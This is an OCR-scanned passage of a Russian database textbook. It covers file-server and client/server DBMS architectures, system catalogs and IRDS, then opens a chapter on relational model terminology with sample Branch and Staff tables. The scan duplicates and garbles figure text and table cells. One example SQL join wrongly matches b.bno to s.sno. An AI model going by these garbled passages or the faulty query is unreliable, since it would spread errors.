тельно. С центральным процессором терминалы были связаны с помощью кабелей, по которым они посылали сообщения пользовательским приложениям (через подсистему управления обменом данными операционной системы). В свою очередь, пользовательские приложения обращались к необходимым службам СУБД. Таким же образом сообщения возвращались назад на пользовательский терминал. К сожалению, при такой архитектуре основная и чрезвычайно большая нагрузка возлагалась на центральный компьютер, который должен был выполнять не только действия прикладных программ и СУБД, но и значительную работу по обслуживанию терминалов (например, форматирование данных, выводимых на экраны терминалов).
Рис. 2.8. Топология архитектуры телеобработки
В последние годы был достигнут существенный прогресс в разработке высокопроизводительных персональных компьютеров и составленных из них сетей. При этом во всей индустрии наблюдается заметная тенденция к децентрализации (downsizing), т.е. замене дорогих мейнфреймов более эффективными, с точки зрения эксплуатационных затрат, сетями персональных компьютеров, позволяющими получить такие же результаты, если не лучше. Эта тенденция привела к появлению следующих двух типов архитектуры СУБД: технологии файлового сервера и технологии “клиент/сервер”.
Файловый сервер
В среде файлового сервера обработка данных распределена в сети, обычно представляющей собой локальную вычислительную сеть (ЛВС). Файловый сервер содержит файлы, необходимые для работы приложений и самой СУБД. Однако пользовательские приложения и сама СУБД размещены и функционируют на отдельных рабочих станциях, и обращаются к файловому серверу только по мере необходимости получения доступа к нужным им файлами — как показано на рис. 2.9. Таким образом, файловый сервер функционирует просто как совместно используемый жесткий диск. СУБД на каждой рабочей станции посылает запросы файловому серверу по всем необходимым ей данным, которые хранятся на диске файл-сервера. Такой подход характеризуется значительным сетевым трафиком, что может привести к снижению производительности всей системы в целом. Рассмотрим, например, ситуацию, когда пользователь посылает запрос на выборку данных обо всех сотрудниках отделения компании, находящегося по адресу 463 Main St'. Эту задачу можно сформулировать с помощью следующего SQL-оператора (глава 13, “Язык SQL”):
SELECT fname, Iname
FROM branch b, staff s
WHERE b.bno = s.sno AND b.street = '163 Main St';
Рабочая станция 2
Файл-сервер
Рис. 2.9. Архитектура с использованием файлового сервера
Поскольку файловый сервер не понимает команд на языке SQL, СУБД должна запросить у файлового сервера файлы, соответствующие отношениям Branch (Отделение) и Staff (Работник), а не искомые имена сотрудников.
Таким образом, архитектура с использованием файлового сервера обладает следующими основными недостатками.
Большой объем сетевого трафика.
На каждой рабочей станции должна находиться полная копия СУБД.
Управление параллельностью, восстановлением и целостностью усложняется, поскольку доступ к одним и тем же файлам могут осуществлять сразу несколько экземпляров СУБД.
Технология „клиент/сервер"
Технология “клиент/сервер” была разработана с целью устранения недостатков, имеющихся в первых двух подходах. “Клиент/сервер” означает такой способ взаимодействия программных компонентов, при котором они образуют единую систему. Как видно из самого названия, существует некий клиентский процесс, требующий определенных ресурсов, а также серверный процесс, который эти ресурсы предоставляет. При этом совсем необязательно, чтобы они находились на одном и том же компьютере. На практике принято размещать сервер на одном узле локальной сети, а клиенты — на других узлах. На рис. 2.10 показана архитектура типа “клиент/сервер”, а на рис. 2.11 — некоторые возможные варианты топологии “клиент/сервер”.
В контексте базы данных клиент управляет пользовательским интерфейсом и логикой приложения, действуя как сложная рабочая станция, на которой выполняются приложения баз данных. Клиент принимает от пользователя запрос, проверяет синтаксис и генерирует запрос к базе данных на языке SQL или другом языке базы данных, который соответствует логике приложения. Затем он передает сообщение серверу, ожидает поступления ответа и форматирует полученные данные для представления их пользователю. Сервер принимает и обрабатывает запросы к базе данных, а затем передает полученные результаты обратно клиенту. Такая обработка включает проверку полномочий клиента, обеспечение требований целостности, под-
держку системного каталога, а также выполнение запроса и обновление данных. Помимо этого, поддерживается управление параллельностью и восстановлением. Выполняемые клиентом и сервером операции приведены в табл. 2.4.
Клиент 2Клиент 2База данныхБаза данныхСервер (с СУБД)Сервер (с СУБД)Рис. 2.10. Общая схема построения систем с архитектурой “клиент/сервер**Рис. 2.10. Общая схема построения систем с архитектурой “клиент/сервер**СерверСерверРис. 2.11. Альтернативные топологии систем с архитектурой ** клиент/ сервер”: а) один клиент — один сервер; б) несколько клиентов — один сервер; в) несколько клиентов — несколько серверов .Рис. 2.11. Альтернативные топологии систем с архитектурой ** клиент/ сервер”: а) один клиент — один сервер; б) несколько клиентов — один сервер; в) несколько клиентов — несколько серверов .(в)(в)
Клиент 2
Клиент 2
База данных
База данных
Сервер (с СУБД)
Сервер (с СУБД)
Рис. 2.10. Общая схема построения систем с архитектурой “клиент/сервер**
Рис. 2.10. Общая схема построения систем с архитектурой “клиент/сервер**
Сервер
Сервер
Рис. 2.11. Альтернативные топологии систем с архитектурой ** клиент/ сервер”: а) один клиент — один сервер; б) несколько клиентов — один сервер; в) несколько клиентов — несколько серверов .
Рис. 2.11. Альтернативные топологии систем с архитектурой ** клиент/ сервер”: а) один клиент — один сервер; б) несколько клиентов — один сервер; в) несколько клиентов — несколько серверов .
(в)
(в)
Таблица 2.4. функции, выполняемые участниками взаимодействия в среде „клиент/сервер"
Клиент
Сервер
Управляет пользовательским интерфейсом
Принимает и обрабатывает запросы к базе данных со стороны клиентов
Принимает и проверяет синтаксис введенного пользователем запроса
Выполняет приложение
Генерирует запрос к базе данных и передает его серверу
Отображает полученные данные пользователю
Проверяет полномочия пользователей
Гарантирует соблюдение ограничений целостности
Выполняет запросы/обновления и возвращает результаты клиенту
Поддерживает системный каталог
Обеспечивает параллельный доступ к базе данных
Обеспечивает управление восстановлением
Этот тип архитектуры обладает приведенными ниже преимуществами.
Обеспечивается более широкий доступ к существующим базам данных.
Повышается общая производительность системы. Поскольку клиенты и сервер находятся на разных компьютерах, их процессоры способны выполнять приложения параллельно. При этом настройка производительности компьютера с сервером упрощается, если на нем выполняется только работа с базой данных.
Стоимость аппаратного обеспечения снижается. Достаточно мощный компьютер с большим устройством хранения нужен только серверу — для хранения и управления базой данных.
Сокращаются коммуникационные расходы. Приложения выполняют часть операций на клиентских компьютерах и посылают через сеть только запросы к базе данных, что позволяет существенно сократить объем пересылаемых по сети данных.
Повышается уровень непротиворечивости данных. Сервер может самостоятельно управлять проверкой целостности данных, поскольку все ограничения определяются и проверяются только в одном месте. При этом каждому приложению не придется выполнять собственную проверку.
Эта архитектура весьма естественно отображается на архитектуру открытых систем.
Некоторые разработчики баз данных использовали эту архитектуру для организации средств работы с распределенными базами данных, т.е. с набором нескольких баз данных, логически связанных и распределенных в компьютерной сети. Однако, несмотря на то, что архитектура “клиент/сервер” вполне может быть использована для организации распределенной СУБД, сама по себе она не образует распределенную СУБД. Более подробно распределенные СУБД обсуждаются в главах 19, “Концепции и разработка распределенных СУБД”, и 20, “Распределенные СУБД — дополнительные концепции”.
В разделе 24.2.2 обсуждается дальнейшее расширение двухуровневой архитектуры “клиент/сервер”, при котором функциональная часть прежнего, толстого (интеллектуального) клиента разделяется на две части. В трехуровневой архитектуре “клиент/сервер” тонкий (неинтеллектуальный) клиент на рабочей станции управляет только пользовательским интерфейсом, тогда как средний уровень обработки данных управляет всей остальной логикой приложения. Третьим уровнем здесь является сервер базы данных. Эта трехуровневая архитектура оказалась более подходящей для некоторых сред — например, для сетей Internet и intranet, где в качестве клиента может использоваться обычный Web-броузер.
ТП. Системные каталоги
В разделе 2.4 упомянуто, что СУБД должна иметь доступный конечному пользователю системный каталог или словарь данных. В этом разделе мы познакомимся с системными каталогами более подробно.
Системный Хранилище данных, которые описывают сохраняемую в базе дан- каталог них информацию, т.е. метаданные, или “данные о данных”.
Системный каталог СУБД является одним фундаментальных компонентов системы. Многие перечисленные в разделе 2.5 программные компоненты строятся на использовании данных, хранящихся в системном каталоге. Например, модуль контроля прав доступа использует системный каталог для проверки наличия у пользователя полномочий, необходимых для выполнения запрошенных им операций. Для проведения подобной проверки системный каталог должен включать следующие компоненты:
имена пользователей, для которых разрешен доступ к базе данных;
имена элементов данных в базе данных;
элементы данных, к которым каждый пользователь имеет право доступа, и разрешенные типы доступа к ним — для вставки, обновления, удаления или чтения.
Другим примером могут служить средства проверки целостности данных, которые используют системный каталог для проверки того, удовлетворяет ли запрошенная операция всем установленным ограничениям поддержки целостности данных. Для выполнения этой проверки в системном каталоге должны храниться такие сведения:
имена элементов данных из базы данных;
типы и размеры элементов данных;
ограничения, установленные для каждого из элементов данных.
Как уже упоминалось ранее, термин “словарь данных” часто используется для программного обеспечения более общего типа, чем просто каталог СУБД. Система словаря данных может быть либо пассивной, либо активной. Активная система всегда согласуется со структурой базы данных, поскольку она автоматически поддерживается этой системой. Пассивная система может противоречить состоянию базы данных из-за инициируемых пользователями изменений. Если словарь данных является частью базы данных, то он называется интегрированным словарем данных. Изолированный словарь данных обладает своей собственной специализированной СУБД. Его предпочтительно использовать на начальных этапах проектирования базы данных для некоторой организации, когда требуется отложить на какое-то время привязку к конкретной СУБД. Однако недостаток этого подхода заключается в том, что после выбора СУБД и воплощения базы данных изолированный словарь данных значительно труднее поддерживать в согласии с состоянием базы данных. Эту проблему можно было бы свести к минимуму, если преобразовать использовавшийся при проектировании словарь данных непосредственно в каталог СУБД. До недавнего времени никакого выбора не было вообще, но по мере развития стандартов словарей данных эта идея становится все более реальной. В следующем разделе кратко рассматривается один из стандартов словарей данных.
Служба IRDS
Во многих системах словарь данных является внутренним компонентом СУБД, в котором хранится только информация, непосредственно связанная с этой базой данных. Однако хранимые с помощью СУБД данные обычно обеспечивают только часть всех информационных потребностей организации. Как правило, имеется некоторая дополнительная информация, которая хранится с помощью других инструментов —
например, таких как CASE-инструменты, инструменты ведения документации, инструменты настройки и управления проектами. Каждое из упомянутых выше средств обычно имеет свой внутренний словарь данных, доступный и другим внешним инструментам. К сожалению, не существует никакого универсального способа совместного использования разных наборов информации различными группами пользователей или приложений.
Недавно была предпринята попытка стандартизовать интерфейс словарей данных для достижения большей доступности и упрощения их совместного использования. Ее результатом стала разработка службы словаря информационных ресурсов (Information Resource Dictionary System — IRDS). Служба IRDS представляет собой программный инструмент, предназначенный для управления информационными ресурсами организации, а также для их документирования. Она включает определение таблиц, содержащих словарь данных, и операций, которые могут быть использованы для доступа к этим таблицам. Упомянутые операции обеспечивают непротиворечивый метод доступа к словарю данных и способ преобразования определений данных из словаря одного типа в определения другого типа. Например, с помощью службы IRDS информация, хранимая в IRDS-совместимом словаре данных СУБД DB2, может быть передана в IRDS-совместимый словарь данных СУБД Oracle или направлена некоторому приложению системы DB2.
Одним из достоинств службы IRDS является способность расширения словаря данных. Так, если пользователь захочет сохранить определения нового типа информации в каком-то инструменте (например, определения отчетов об управлении проектом — в некой СУБД), то система IRDS в данной СУБД может быть расширена для включения этой информации. Определения IRDS были приняты в качестве стандарта Международной организацией стандартизации ISO (International Organization for Standardization) (ISO, 1990; 1993).
Стандарты IRDS определяют набор правил хранения информации в словаре данных и доступа к ней, преследуя при этом три следующие цели:
расширяемость данных;
целостность данных;
контролируемый доступ к данным.
Служба IRDS построена на использовании интерфейса сервисов, состоящего из набора функций, доступного для вызова с целью получения доступа к словарю данных. Интерфейс сервисов может вызываться со стороны таких типов пользовательских интерфейсов, как:
панельный интерфейс;
командный язык;
файлы экспорта/импорта;
прикладные программы.
Панельный интерфейс состоит из набора панелей или экранов, каждый из которых предоставляет доступ к заранее описанному набору сервисов. Он несколько напоминает язык QBE и позволяет пользователям просматривать и изменять словарь данных. Интерфейс командного языка состоит из набора команд или операторов, которые позволяют выполнять манипуляции со словарем данных. Интерфейс командного языка может вызываться интерактивно (с помощью терминала) или посредством внедрения операторов в программы на языках программирования высокого уровня. Интерфейс экспорта/импорта генерирует файл, который можно передавать между различными IRDS-совместимыми системами. Стандарт IRDS определяет и универсальный формат обмена информацией. Причем он не требует, чтобы база данных, лежащая в основе словаря данных, соответствовала какой-то одной модели данных. Именно поэтому интерфейс IRDS-сервисов способен объединять гетерогенные СУБД, как показано на рис. 2.12.
Описание данных
Описание данных
Рис. 2.12. Интерфейс IRDS-cepeucoe
Резюме
В архитектуре базы данных ANSI-SPARC используются три уровня абстракции: внешний, концептуальный и внутренний. Внешний уровень состоит из пользовательских представлений базы данных. Концептуальный уровень является обобщенным представлением о структуре базы данных. Он определяет информационное содержимое базы данных, не зависящее от способа хранения информации. Внутренний уровень является компьютерным представлением базы данных. Он определяет, как представлены данные, в какой последовательности располагаются записи, какие созданы индексы и указатели, используется ли схема хеширования и какая именно.
Внешне концептуальное отображение преобразует запросы и результаты их выполнения между внешним и концептуальным уровнями описания структуры базы данных. Концептуально внутреннее отображение преобразует запросы и результаты их выполнения между концептуальным и внутренним уровнями описания структуры данных.
Схема базы данных — это описание структуры базы данных. Независимость от данных позволяет каждому уровню существовать независимо от изменений, происходящих на более низких уровнях. Логическая независимость от данных обозначает защищенность внешних схем по отношению к изменениям концептуальной схемы, а физическая независимость от данных — защищенность концептуальной схемы по отношению к изменениям внутренней схемы.
Подъязык данных состоит из двух частей: языка определения данных DDL (Data Definition Language) и языка управления данными DML (Data Manipulation Language). Язык DDL используется для описания структуры базы данных, а язык DML — для чтения и обновления самой базы данных.
Модель данных — это набор понятий, которые могут быть использованы для описания множества данных, операций с данными, а также набора ограничений целостности данных. Их можно разбить на три широкие категории: объектные модели данных, модели данных на основе записей и физические модели данных. Первые две модели используются для описания данных на концептуальном и внешнем уровнях, а последняя — на внутреннем уровне.
■ К объектным моделям данных относятся модель “сущность-связь”, семантическая, функциональная и объектно-ориентированная модели, а к моделям данных на основе записей — реляционная, сетевая и иерархическая модели.
■ Концептуальное моделирование — это процесс определения архитектуры базы данных, не зависящей от таких подробностей ее реализации, как целевая СУБД, набор прикладных программ, используемые языки программирования или любые другие физические аспекты базы данных. Качество разработанной концептуальной схемы весьма критично для общего успеха создания системы, потому имеет смысл затратить необходимое количество времени и сил для подготовки максимально продуманного концептуального проекта системы.
■ Понятие архитектуры “клиент/сервер” обозначает способ взаимодействия программных компонентов (клиента и сервера), при котором клиентский процесс требует получения некоторого ресурса, а сервер его предоставляет. Обычно, клиент управляет пользовательским интерфейсом, а сервер — функциональной частью базы данных.
■ Системный каталог является одним из фундаментальных компонентов СУБД. Он содержит “данные о данных”, или метаданные. Каталог должен быть доступен пользователям. Служба IRDS (Information Resource Dictionary System) — это новый стандарт ISO, который определяет методы доступа к словарю данных. При этом допускается их совместное использование и передача из одной системы в другую.
Вопросы
Дайте определение понятию независимости от данных и объясните его значение в среде базы данных.
Для обеспечения независимости от данных была разработана трехуровневая архитектура ANSI-SPARC. Дайте сравнительную характеристику этих уровней.
Что такое модель данных? Дайте определение основным типам моделей данных.
Поясните функции и общее значение концептуального моделирования.
Опишите типы сервисов, которые должна предоставлять типичная многопользовательская СУБД.
Какие из перечисленных в ответе к упр. 2.5 сервисов не потребуются для СУБД, функционирующей на отдельном персональном компьютере? Обоснуйте свой ответ.
Назовите основные компоненты СУБД и укажите соответствие между ними и сервисами, указанными в ответе к упр. 2.5.
Что означает термин * архитектура “клиент/сервер”»? Опишите преимущества, которыми обладает эта схема. Сравните данную архитектуру с двумя другими типовыми архитектурами построения СУБД.
Опишите функции и общее значение системного каталога.
Упражнения
Проанализируйте особенности тех СУБД, которыми вы сейчас пользуетесь. Определите степень соответствия каждой из них тому набору функций, которые должна предоставлять типичная СУБД. Какие типы языков поддерживаются в каждой из них? Какой тип архитектуры используется в каждой из этих СУБД? Проверьте степень доступности и расширяемости системного каталога. Можно ли экспортировать системный каталог в другую систему?
Создайте программу, предназначенную для сохранения в базе данных имен и номеров телефонов. Затем напишите другую программу, предназначенную для
сохранения в базе данных имен и адресов. Измените эти программы с целью использования внешней, концептуальной и внутренней схем. Какие преимущества и недостатки характерны для каждой из этих модификаций?
Создайте программу, предназначенную для сохранения в базе данных имен и дат рождения. Расширьте эту программу так, чтобы она сохраняла в базе данных формат используемых данных. Иначе говоря, создайте системный каталог. Разработайте интерфейс, который сделает этот каталог доступным внешним пользователям.
Как можно было бы изменить предыдущую программу для приведения ее в соответствие архитектуре типа “клиент/сервер”?
«Йй«ЙйIIIIIIЙШSIЙШSIГЛАВАГЛАВАЖЖРеляционная модельРеляционная модельВ этой главеВ этой главе'4;'4;
«Йй
«Йй
III
III
ЙШ
SI
ЙШ
SI
ГЛАВА
ГЛАВА
Ж
Ж
Реляционная модель
Реляционная модель
В этой главе
В этой главе
'4;
'4;
Происхождение реляционной модели.
Терминология реляционной модели.
Использование таблиц для представления данных.
Связь между математическими отношениями и отношениями в реляционной модели.
Свойства отношений в базе данных.
Как идентифицировать потенциальные, первичные : и внешние ключи.
Смысл понятий “целостность сущностей” < и “ссылочная целостность”.
Категории реляционных языков манипулирования данными (Data Manipulation Language — DML).
Как создать запрос средствами реляционной алгебры.
Как выглядят запросы в реляционном исчислении.
Назначение представлений и преимущества, достигаемые при их использовании в реляционных системах.
Критерии оценки реляционных СУБД. / „?
На сегодняшний день реляционные СУБД стали доминирующим типом программного обеспечения для обработки данных. Ежегодный объем продаж в этом секторе рынка оценивается в 8-10 миллиардов долларов (или 25 миллиардов долларов вместе с инструментами разработки), причем ежегодный прирост этого объема составляет 25%. Данное программное обеспечение представляет собой второе поколение СУБД, основанное на использовании реляционной модели данных, предложенной Э.Ф.Коддом (E.F.Codd) в 1970 году. В реляционной модели все данные логически структурированы внутри отношений (таблиц). Каждое отношение имеет имя и состоит из поименованных атрибутов (столбцов) данных. Каждый кортеж (строка) данных содержит по одному значению каждого из атрибутов. Большое преимущество реляционной модели заключается именно в этой простоте логической структуры. Хотя, конечно же, за этой простотой скрывается серьезный теоретический фундамент, которого не было у первого поколения СУБД (т.е. у сетевых и иерархических СУБД).
В знак признания большого значения подобных систем мы посвятили их рассмотрению значительную часть этой книги. В данной главе рассматриваются основные принципы реляционной модели данных.
Структура этой главы
Для того чтобы придать нашему обсуждению реляционных СУБД некоторую перспективу, в разделе 3.1 приводится краткий обзор истории реляционной модели данных. В разделе 3.2 рассматриваются базовые концепции и терминология реляционной модели. В разделе 3.3 мы обсудим правила реляционной целостности, включая целостность сущностей и ссылочную целостность. В . разделе 3.4 рассматриваются различные типы реляционных языков, причем особое внимание уделяется реляционной алгебре и реляционному исчислению. В разделе 3.5 вводится понятие представления, которое является важной составной частью реляционных СУБД, хотя, строго говоря, оно и не относится к концепциям самой реляционной модели. Завершается глава обсуждением двенадцати правил Кодда, которые являются своего рода критерием принадлежности системы к реляционным СУБД..
Методология, охватывающая весь цикл проектирования реляционных баз данных, будет представлена вашему вниманию в главе 7, “Методология концептуального проектирования баз данных”, в главе 8, “Методология логического проектирования реляционных баз данных”, и в главе 9, “Методология физического проектирования реляционных баз данных”. Кроме того, в главе 13, “Язык SQL”, и в главе 14, “Дополнительные средства языка SQL”, описан формально и фактически стандартный язык реляционных СУБД, а именно язык структурированных запросов — SQL (Structured Query Language). Приведенные в этой главе примеры взяты из учебного проекта DreamHome, подробно описанного в разделе 1.7.
Краткий обзор истории реляционной модели
Реляционная модель впервые была предложена Э.Ф.Коддом (E.F.Codd) в 1970 году в его основополагающей статье “Реляционная модель данных для больших совместно используемых банков данных”. В настоящее время публикацию этой статьи принято считать поворотным пунктом в истории развития систем баз данных, хотя следует заметить, что еще раньше была предложена модель, основанная на множествах (Childs, 1968). Цели создания реляционной модели формулировались следующим образом.
Обеспечение более высокой степени независимости от данных. Прикладные программы не должны зависеть от изменений внутреннего представления данных, в частности от изменений организации файлов, переупорядочива- ния записей и путей доступа.
Создание прочного фундамента для решения семантических вопросов, а также проблем непротиворечивости и избыточности данных. В частности, в статье Кодда вводится понятие нормализованных отношений, т.е. отношений без повторяющихся групп. (Процесс нормализации обсуждается в главе 6, “Нормализация”.
Расширение языков управления данными за счет включения операций над множествами.
Хотя интерес к реляционной модели обусловлен несколькими разными причинами, все же наиболее значительные исследования были проведены в рамках трех проектов с очень разной судьбой. Первый из них разрабатывался в конце 70-х годов в исследовательской лаборатории корпорации IBM в городе Сан-Хосе, штат Калифорния, под руководством Астрахана (Astrahan), результатом которого стало создание системы под названием “System R”, являвшейся прототипом истинной реляционной СУБД. Этот проект был задуман с целью получить реальные доказательства практичности использования реляционной модели посредством реализации предусматриваемых ею структур данных и операций. Этот проект также зарекомендовал себя как важнейший источник информации о таких проблемах реализации, как управление параллельностью, оптимизация запросов, управление транзакциями, обеспечение безопасности и целостности данных, технология восстановления, учет человеческого фактора и разработка пользовательского интерфейса. Выполнение проекта стимулировало публикацию многих научно-исследовательских статей и создание других прототипов реляционных СУБД. В частности, работа над проектом System R дала толчок проведению таких важнейших разработок, как:
создание языка структурированных запросов SQL (это название произносят либо по буквам “S-Q-L”, либо (иногда) с помощью мнемонического имени “See-Quel”), который с тех пор приобрел статус формального стандарта ISO (International Organization for Standardization) и в настоящее время является фактическим, отраслевым стандартом языка реляционных СУБД;
создание различных коммерческих реляционных СУБД, которые впервые появились на рынке в начале 80-х годов, таких как DB2 и SQL/DS корпорации IBM, а также ORACLE корпорации ORACLE Corporation.
Вторым проектом, который сыграл заметную роль в разработке реляционной модели данных, был проект INGRES (INteractive GRaphics REtrieval System), работа над которым проводилась в Калифорнийском университете (город Беркли) почти в то же самое время, что и над проектом System R. Проект INGRES включал разработку прототипа РСУБД с концентрацией основного внимания на тех же общих целях, что и проект System R. Эти исследования привели к появлению академической версии INGRES, которая внесла существенный вклад в общее признание реляционной модели данных. Позже от данного проекта отпочковались коммерческие продукты INGRES фирмы Relational Technology Inc. (теперь CA-Openlngres фирмы Computer Associates) и Intelligent Database Machine фирмы Britton Lee Inc.
Третьим проектом была система Peterlee Relational Test Vehicle научного центра корпорации IBM, расположенного в городе Петерли, Великобритания (Todd, 1976). Этот проект был более теоретическим, чем проекты System R и INGRES. Его результаты имели очень большое и даже принципиальное значение, особенно в таких областях, как обработка запросов и оптимизация, а также функциональные расширения системы.
Коммерческие системы на основе реляционной модели данных начали появляться в конце 70-х - начале 80-х годов. В настоящее время существует несколько сотен типов различных реляционных СУБД как для мейнфреймов, так и для микрокомпьютеров, хотя многие из них не полностью удовлетворяют точному определению реляционной модели данных. Примерами реляционных СУБД для микрокомпьютеров являются СУБД Access и FoxPro фирмы Microsoft, Paradox и Visual dBase фирмы Borland, а также R:Base фирмы Microrim.
Благодаря популярности реляционной модели многие нереляционные системы теперь обеспечиваются реляционным пользовательским интерфейсом, независимо от используемой базовой модели. Основная сетевая СУБД, система IDMS фирмы Computer Associates, теперь называется IDMS/R (или IDMS/SQL) и поддерживает реляционное представление данных. Другими СУБД для мейнфреймов, в которых поддерживаются некоторые реляционные компоненты, являются Model 204 фирмы Computer Corporation of America и ADABAS D фирмы Software AG.
Кроме того, позже были предложены некоторые расширения реляционной модели данных, предназначенные для наиболее полного и точного выражения смысла данных (Codd, 1979), для поддержки объектно-ориентированных понятий (Stonebraker and Rowe, 1986), а также для поддержки дедуктивных возможностей (Gardarin and Valduriez, 1989). Некоторые из этих расширений мы рассмотрим позже, в главах 2123, которые посвящены объектным СУБД.
Используемая терминология
Реляционная модель основана на математическом понятии отношения, физическим представлением которого является таблица. Дело в том, что Кодд, будучи опытным математиком, широко использовал математическую терминологию, особенно из теории множеств и логики предикатов. В этом разделе поясняется используемая в реляционной модели терминология, а также ее основные структурные понятия.
Структура реляционных данных
Отношение Это плоская таблица, состоящая из столбцов и строк.
В любой реляционной СУБД предполагается, что пользователь воспринимает базу данных как набор таблиц. Однако следует подчеркнуть, что это восприятие относится только к логической структуре базы данных, т.е. ко внешнему и концептуальному уровням архитектуры ANSI-SPARC, которая рассматривалась нами в разделе 2.1. Подобное восприятие не относится к физической структуре базы данных, которая может быть реализована с помощью различных структур хранения (приложение Б, “Структура данных в файлах с различной организацией”).
Атрибут Это поименованный столбец отношения.
В реляционной модели отношения используются для хранения информации об объектах, представленных в базе данных. Отношение обычно имеет вид двумерной таблицы, в которой строки соответствуют отдельным записям, а столбцы — атрибутам. При этом атрибуты могут располагаться в любом порядке — независимо от их переупорядо- чивания отношение будет оставаться одним и тем же, а потому иметь тот же смысл.
Например, информация об отделениях компании может быть представлена отношением Branch, включающим столбцы с атрибутами Впо (Номер отделения), Street (Улица), Area (Район), City (Город), Pcode (Почтовый индекс), Tel_No (Номер телефона) и Fax_No (Номер факса). Аналогично, информация о работниках компании может быть представлена отношением Staff (Персонал), включающим столбцы с атрибутами Sno (Личный номер сотрудника), FName (Имя), LName (Фамилия), Address (Адрес), Tel_No (Номер телефона), Position (Должность). Sex (Пол), DOB (Дата рождения), Salary (Зарплата), NIN (Личный номер социального страхования) и Впо (Номер отделения, в котором данный сотрудник работает). На рис. 3.1 показаны примеры отношений Branch и Staff. Как видно из этого примера, каждый столбец содержит значения одного и того же атрибута — например, столбец Впо содержит только номера существующих отделений компании.
АтрибутыАтрибутыВпоStreetAreaCityPostcodeTeLNoFax^NoВ522 Deer RdSidcupLondonSW1 4EH0171-886-12120171-886-1214В716 Argyll StDyceAberdeenAB23SU01224-6712501224-67111ВЗ163 Mam StPartickGlasgowG119QX0141-339-21780141-339-4439В432 Manse RdLeighBristolBS991NZ0117-916-11700117-776-1114В256 Clover DrLondonNW106EU0181-963-10300181-453-7992ВпоStreetAreaCityPostcodeTeLNoFax^NoВ522 Deer RdSidcupLondonSW1 4EH0171-886-12120171-886-1214В716 Argyll StDyceAberdeenAB23SU01224-6712501224-67111ВЗ163 Mam StPartickGlasgowG119QX0141-339-21780141-339-4439В432 Manse RdLeighBristolBS991NZ0117-916-11700117-776-1114В256 Clover DrLondonNW106EU0181-963-10300181-453-7992
Атрибуты
Атрибуты
Впо
Street
Area
City
Postcode
TeLNo
Fax^No
В5
22 Deer Rd
Sidcup
London
SW1 4EH
0171-886-1212
0171-886-1214
В7
16 Argyll St
Dyce
Aberdeen
AB23SU
01224-67125
01224-67111
ВЗ
163 Mam St
Partick
Glasgow
G119QX
0141-339-2178
0141-339-4439
В4
32 Manse Rd
Leigh
Bristol
BS991NZ
0117-916-1170
0117-776-1114
В2
56 Clover Dr
London
NW106EU
0181-963-1030
0181-453-7992
Впо
Street
Area
City
Postcode
TeLNo
Fax^No
В5
22 Deer Rd
Sidcup
London
SW1 4EH
0171-886-1212
0171-886-1214
В7
16 Argyll St
Dyce
Aberdeen
AB23SU
01224-67125
01224-67111
ВЗ
163 Mam St
Partick
Glasgow
G119QX
0141-339-2178
0141-339-4439
В4
32 Manse Rd
Leigh
Bristol
BS991NZ
0117-916-1170
0117-776-1114
В2
56 Clover Dr
London
NW106EU
0181-963-1030
0181-453-7992
Первичный ключ Внешний ключ
STAFF
Sno
FName
LName
Address
Tel_No
Position
Sex
DOB
Salary
NIN
Bno
SL21
John
White
19 Taylor St, Cranford, London
0171-884-5112
Manager
M
1-Oct-45
30000
WK442011B
B5
SG37
Ann
Beech
81 George St, Glasgow PA 2JR
0141-848-3345
Snr Asst
F
10-Nov-60
12000
WL432514C
B3
SG14
David
Ford
63 Ashby St, Partick Glasgow G11
0141-339-2177
Deputy
M
24-Mar-58
18000
WL220658D
B3
SA9
Mary
Howe
2 Elm PL
Aberdeen AB2 3SU
Assistant
F
19-Feb-70
9000
WM532187D
B7
SG5
Susan
Brand
5 Gt Western Rd, Glasgow G12
0141-334-2001
Manager
F
3-Jun-40
24000
WK588932E
B3
SL41
Julie
Lee
28 Malvern St, Kilburn NW2
0181-554-3541
Assistant
F
13-Jun-65
9000
WA290573K
B5
Рис. 3.1. Пример содержимого таблиц Branch и Staff
Домен Это набор допустимых значений для одного или нескольких атрибутов.
Домены представляют собой чрезвычайно мощный компонент реляционной модели. Каждый атрибут реляционной базы данных определяется на некотором домене. Домены могут отличаться для каждого из атрибутов, но два и более атрибутов могут определяться на одном и том же домене. В табл. 3.1 представлены домены для некоторых атрибутов отношений Branch и Staff; Хотя в отношении Branch есть семь атрибутов, здесь показаны только шесть, потому что два атрибута, Teljo и Fax No, определены на одном и том же домене. Обратите внимание, что в любой момент времени в доменах могут существовать значения, которые не будут реально представлены значениями соответствующего атрибута.
Таблица 3.1. Домены некоторых атрибутов отношений Branch и Staff
Атрибут
Имя домена
Содержимое домена
Определение домена
Bno
BRANCHJUMBERS
Множество всех допустимых номеров отделений компании
Символьный: размер 3, диапазон 'ВГ-'В99'
Street
STREET JAMES
Множество всех названий улиц в Великобритании
Символьный: размер 25
Area
AREA JAMES
Множество всех наименований районов в Великобритании
Символьный: размер 20
Окончание табл. 3.1
Атрибут
Имя домена
Содержимое домена
Определение домена
City
CITY_CODES
Множество всех названий городов в Великобритании
Символьный: размер 15
Pcode
POSTCODES
Множество всех почтовых кодов в Великобритании
Символьный: размер 8
Tel_No
TELFAXJWMBERS
Множество всех номеров телефонов и факсов в Великобритании
Символьный: размер 13
Fax^No
TELFAX^NUMBERS
Множество всех номеров телефонов и факсов в Великобритании
Символьный: размер 13
Sex
SEX
Обозначение пола человека
Символьный: размер 1, значение 'М' или 'F'
DOB
DATESJ)F_BIRTH
Все возможные значения даты рождения работника компании
Дата, диапазон от 1-Jan- 20, формат dd-irmm-yy
Salary
SALARIES
Все возможные значения годовой заработной платы работника компании
Денежный; 7 цифр, диапазон 6000.00-40000.00 фунтов стерлингов
Понятие домена имеет большое значение, поскольку благодаря ему пользователь может централизованно определять смысл и источник значений, которые могут получать атрибуты. В результате при выполнении реляционной операции системе доступно больше информации, что позволяет ей избежать семантически некорректных операций. Например, бессмысленно сравнивать название улицы с номером телефона, даже если для обоих этих атрибутов определениями доменов являются символьные строки. С другой стороны, помесячная арендная плата объекта недвижимости и количество месяцев, в течение которых он сдавался в аренду, принадлежат разным доменам (первый атрибут имеет денежный тип, а второй — целочисленный). Однако умножение значений из этих доменов является допустимой операцией. Как следует из этих двух примеров, обеспечить полную реализацию понятия домена совсем непросто, а потому во многих РСУБД они поддерживаются не полностью, а лишь частично.
Кортеж Это строка отношения.
Элементами отношения являются кортежи, или строки, таблицы. В отношении Branch каждая строка содержит семь значений, по одному для каждого атрибута. Кортежи могут располагаться в любом порядке, при этом отношение будет оставаться тем же самым, а значит, и иметь тот же смысл.
